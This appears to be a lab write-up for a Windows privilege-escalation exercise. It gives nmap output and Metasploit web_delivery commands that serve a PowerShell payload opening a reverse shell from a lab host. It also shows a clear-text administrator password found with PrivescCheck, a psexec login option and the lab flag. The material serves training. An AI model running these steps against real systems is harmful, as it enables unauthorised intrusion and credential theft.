search

win-privesc

🔬 Windows: PrivescCheckarrow-up-right

hashtag
Enumeration & Exploitation

nmap -sV 10.2.29.53
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
    445/tcp  open  microsoft-ds?
service postgresql start && msfconsole -q
setg RHOSTS 10.2.29.53
setg RHOST 10.2.29.53

search web_delivery
use exploit/multi/script/web_delivery
info
# Description:
#   This module quickly fires up a web server that serves a payload. The 
#   provided command which will allow for a payload to download and 
#   execute.
set target PSH\ (Binary)
set payload windows/shell/reverse_tcp
set PSH-EncodedCommand false
set LHOST eth1
exploit

  • Copy the PowerShell code and run it on the target machine using cmd

  • Back to the Attacker machine, Command shell session opened

Cmd Shell

hashtag
Privilege Escalation

PrivescCheck Report
WinLogon clear-text password

📌 administrator:hello_123321

hashtag
Administrator Login

  • Use the administrator user to run a privileged cmd, trying SMB legitimate authentication

  • This can be done with the exploit/windows/smb/psexec Metasploit module too.

chevron-rightReveal Flag: 🚩hashtag

2b070a650a92129c2462deae7707b0c5

Previouswin-post-expNext5-post-exploit

Last updated